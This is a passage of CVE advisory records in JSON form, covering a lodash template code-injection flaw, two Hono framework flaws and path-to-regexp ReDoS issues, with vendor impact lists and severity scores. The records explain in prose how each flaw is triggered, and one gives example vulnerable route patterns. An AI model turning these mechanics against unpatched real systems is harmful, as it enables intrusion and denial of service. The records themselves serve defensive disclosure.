"value": "RHSA-2026:16874: Network Observability (NETOBSERV) 1.11.2"
},
{
"lang": "en",
"value": "RHSA-2026:13553: Red Hat Ansible Automation Platform 2.5"
},
{
"lang": "en",
"value": "RHSA-2026:13545: Red Hat Ansible Automation Platform 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:22619: Red Hat Data Grid 8.6.1"
},
{
"lang": "en",
"value": "RHSA-2026:9742: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:13826: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:24977: Red Hat OpenShift AI 2.25"
},
{
"lang": "en",
"value": "RHSA-2026:19712: Red Hat OpenShift AI 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:17598: Red Hat OpenShift Container Platform 4.17"
},
{
"lang": "en",
"value": "RHSA-2026:21658: Red Hat OpenShift Container Platform 4.18"
},
{
"lang": "en",
"value": "RHSA-2026:17448: Red Hat OpenShift Container Platform 4.18"
},
{
"lang": "en",
"value": "RHSA-2026:20042: Red Hat OpenShift Container Platform 4.19"
},
{
"lang": "en",
"value": "RHSA-2026:20041: Red Hat OpenShift Container Platform 4.19"
},
{
"lang": "en",
"value": "RHSA-2026:17469: Red Hat OpenShift Container Platform 4.20"
},
{
"lang": "en",
"value": "RHSA-2026:17468: Red Hat OpenShift Container Platform 4.20"
},
{
"lang": "en",
"value": "RHSA-2026:29795: Red Hat OpenShift Container Platform 4.22"
},
{
"lang": "en",
"value": "RHSA-2026:10175: Red Hat OpenShift Dev Spaces 3.27"
},
{
"lang": "en",
"value": "RHSA-2026:20946: Red Hat OpenShift GitOps 1.18"
},
{
"lang": "en",
"value": "RHSA-2026:20943: Red Hat OpenShift GitOps 1.19"
},
{
"lang": "en",
"value": "RHSA-2026:8483: Red Hat OpenShift Service Mesh 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:8484: Red Hat OpenShift Service Mesh 3.0"
},
{
"lang": "en",
"value": "RHSA-2026:8490: Red Hat OpenShift Service Mesh 3.1"
},
{
"lang": "en",
"value": "RHSA-2026:8491: Red Hat OpenShift Service Mesh 3.2"
},
{
"lang": "en",
"value": "RHSA-2026:8493: Red Hat OpenShift Service Mesh 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:9385: Red Hat OpenShift distributed tracing 3.9.3"
},
{
"lang": "en",
"value": "RHSA-2026:17549: Red Hat Openshift Data Foundation 4.16"
},
{
"lang": "en",
"value": "RHSA-2026:17550: Red Hat Openshift Data Foundation 4.17"
},
{
"lang": "en",
"value": "RHSA-2026:17547: Red Hat Openshift Data Foundation 4.18"
},
{
"lang": "en",
"value": "RHSA-2026:12279: Red Hat Openshift Data Foundation 4.19"
},
{
"lang": "en",
"value": "RHSA-2026:12277: Red Hat Openshift Data Foundation 4.2"
},
{
"lang": "en",
"value": "RHSA-2026:14870: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:14871: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:8498: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:10131: Red Hat Trusted Artifact Signer 1.3"
},
{
"lang": "en",
"value": "RHSA-2026:34608: Streams for Apache Kafka 2.9.4"
},
{
"lang": "en",
"value": "RHSA-2026:13571: Streams for Apache Kafka 3.2.0"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-03-31T20:01:21.918Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-03-31T19:25:55.987Z",
"value": "Made public."
}
],
"title": "lodash: lodash: Arbitrary code execution via untrusted input in template imports",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash",
"product": "lodash",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash-es",
"product": "lodash-es",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash-amd",
"product": "lodash-amd",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash.template",
"product": "lodash.template",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "dolevmiz1"
},
{
"lang": "en",
"type": "reporter",
"value": "bugbunny-research"
},
{
"lang": "en",
"type": "reporter",
"value": "M0nd0R"
},
{
"lang": "en",
"type": "remediation developer",
"value": "UlisesGascon"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "falsyvalues"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "jonchurch"
},
{
"lang": "en",
"type": "reporter",
"value": "threalwinky"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "jdalton"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Impact:\n\nThe fix for CVE-2021-23337 (https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.\n\nWhen an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.\n\nAdditionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().\n\nPatches:\n\nUsers should upgrade to version 4.18.0.\n\nWorkarounds:\n\nDo not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names."
}
],
"value": "Impact:\n\nThe fix for CVE-2021-23337 (https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.\n\nWhen an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.\n\nAdditionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().\n\nPatches:\n\nUsers should upgrade to version 4.18.0.\n\nWorkarounds:\n\nDo not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T19:25:55.987Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://github.com/advisories/GHSA-35jh-r3h4-6jhm"
},
{
"url": "https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c"
},
{
"url": "https://cna.openjsf.org/security-advisories.html"
}
],
"title": "lodash vulnerable to Code Injection via `_.template` imports key names",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-4800",
"datePublished": "2026-03-31T19:25:55.987Z",
"dateReserved": "2026-03-25T09:12:38.355Z",
"dateUpdated": "2026-07-03T12:04:51.926Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-39409 (GCVE-0-2026-39409)
Vulnerability from cvelistv5 – Published: 2026-04-08 14:43 – Updated: 2026-04-08 16:13- CWE-180 - Incorrect Behavior Order: Validate Before Canonicalize
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-39409",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-08T16:08:52.269915Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-08T16:13:05.175Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.12"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.12, ipRestriction() does not canonicalize IPv4-mapped IPv6 client addresses (e.g. ::ffff:127.0.0.1) before applying IPv4 allow or deny rules. In environments such as Node.js dual-stack, this can cause IPv4 rules to fail to match, leading to unintended authorization behavior. This vulnerability is fixed in 4.12.12."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-180",
"description": "CWE-180: Incorrect Behavior Order: Validate Before Canonicalize",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-08T14:43:36.476Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-xpcf-pg52-r92g",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-xpcf-pg52-r92g"
},
{
"name": "https://github.com/honojs/hono/commit/48fa2233bc092f650119f42df043050737cabf39",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/commit/48fa2233bc092f650119f42df043050737cabf39"
},
{
"name": "https://github.com/honojs/hono/releases/tag/v4.12.12",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/releases/tag/v4.12.12"
}
],
"source": {
"advisory": "GHSA-xpcf-pg52-r92g",
"discovery": "UNKNOWN"
},
"title": "Hono has incorrect IP matching in ipRestriction() for IPv4-mapped IPv6 addresses"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-39409",
"datePublished": "2026-04-08T14:43:36.476Z",
"dateReserved": "2026-04-07T00:23:30.594Z",
"dateUpdated": "2026-04-08T16:13:05.175Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-44458 (GCVE-0-2026-44458)
Vulnerability from cvelistv5 – Published: 2026-05-13 15:01 – Updated: 2026-05-14 16:00| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44458",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-14T16:00:00.933430Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-14T16:00:11.507Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.18"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.18, the JSX renderer escapes style attribute object values for HTML but not for CSS. Untrusted input in a style object value or property name can therefore inject additional CSS declarations into the rendered style attribute. The impact is limited to CSS and does not allow JavaScript execution or HTML attribute breakout. This vulnerability is fixed in 4.12.18."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-74",
"description": "CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-116",
"description": "CWE-116: Improper Encoding or Escaping of Output",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T15:01:37.198Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-qp7p-654g-cw7p",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-qp7p-654g-cw7p"
}
],
"source": {
"advisory": "GHSA-qp7p-654g-cw7p",
"discovery": "UNKNOWN"
},
"title": "Hono: CSS Declaration Injection via Style Object Values in JSX SSR"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44458",
"datePublished": "2026-05-13T15:01:37.198Z",
"dateReserved": "2026-05-06T15:49:25.193Z",
"dateUpdated": "2026-05-14T16:00:11.507Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-4923 (GCVE-0-2026-4923)
Vulnerability from cvelistv5 – Published: 2026-03-26 19:02 – Updated: 2026-03-27 13:58- CWE-1333 - Inefficient Regular Expression Complexity
| Vendor | Product | Version | ||
|---|---|---|---|---|
| path-to-regexp | path-to-regexp |
Affected:
8.0.0 , < 8.4.0
(semver)
Unaffected: 8.4.0 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4923",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-27T13:46:47.360477Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T13:58:03.925Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/path-to-regexp",
"product": "path-to-regexp",
"vendor": "path-to-regexp",
"versions": [
{
"lessThan": "8.4.0",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "8.4.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "blakeembrey"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "UlisesGascon"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Impact:\n\nWhen using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.\n\nUnsafe examples:\n\n/*foo-*bar-:baz\n/*a-:b-*c-:d\n/x/*a-:b/*c/y\n\nSafe examples:\n\n/*foo-:bar\n/*foo-:bar-*baz\n\nPatches:\n\nUpgrade to version 8.4.0.\n\nWorkarounds:\n\nIf you are using multiple wildcard parameters, you can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable."
}
],
"value": "Impact:\n\nWhen using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.\n\nUnsafe examples:\n\n/*foo-*bar-:baz\n/*a-:b-*c-:d\n/x/*a-:b/*c/y\n\nSafe examples:\n\n/*foo-:bar\n/*foo-:bar-*baz\n\nPatches:\n\nUpgrade to version 8.4.0.\n\nWorkarounds:\n\nIf you are using multiple wildcard parameters, you can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-26T19:02:00.729Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://cna.openjsf.org/security-advisories.html"
}
],
"title": "path-to-regexp vulnerable to Regular Expression Denial of Service via multiple wildcards",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-4923",
"datePublished": "2026-03-26T19:02:00.729Z",
"dateReserved": "2026-03-26T18:05:44.717Z",
"dateUpdated": "2026-03-27T13:58:03.925Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-4926 (GCVE-0-2026-4926)
Vulnerability from cvelistv5 – Published: 2026-03-26 18:59 – Updated: 2026-06-30 12:10| Vendor | Product | Version | ||
|---|---|---|---|---|
| path-to-regexp | path-to-regexp |
Affected:
8.0.0 , < 8.4.0
(semver)
Unaffected: 8.4.0 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4926",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-27T19:44:44.790485Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T19:44:53.294Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_virtualization:2.10::el9"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Virtualization 2.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_virtualization:2.9::el9"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Virtualization 2.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_distributed_tracing:3.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift distributed tracing 3.9.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Trusted Artifact Signer 1.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine"
],
"defaultStatus": "affected",
"product": "Multicluster Engine for Kubernetes",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:1"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:edge_manager:1"
],
"defaultStatus": "affected",
"product": "Red Hat Edge Manager 1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_gitops:1"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift GitOps",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el10",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "unaffected",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_lightspeed"
],
"defaultStatus": "unaffected",
"product": "OpenShift Lightspeed",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat Advanced Cluster Security 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3"
],
"defaultStatus": "unaffected",
"product": "Red Hat Quay 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
}
],
"datePublic": "2026-03-26T18:59:38.000Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in path-to-regexp. A remote attacker could exploit this vulnerability by providing specially crafted input that generates a regular expression with multiple sequential optional groups. This leads to an exponential growth in the generated regular expression, causing a Denial of Service (DoS) due to excessive resource consumption."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
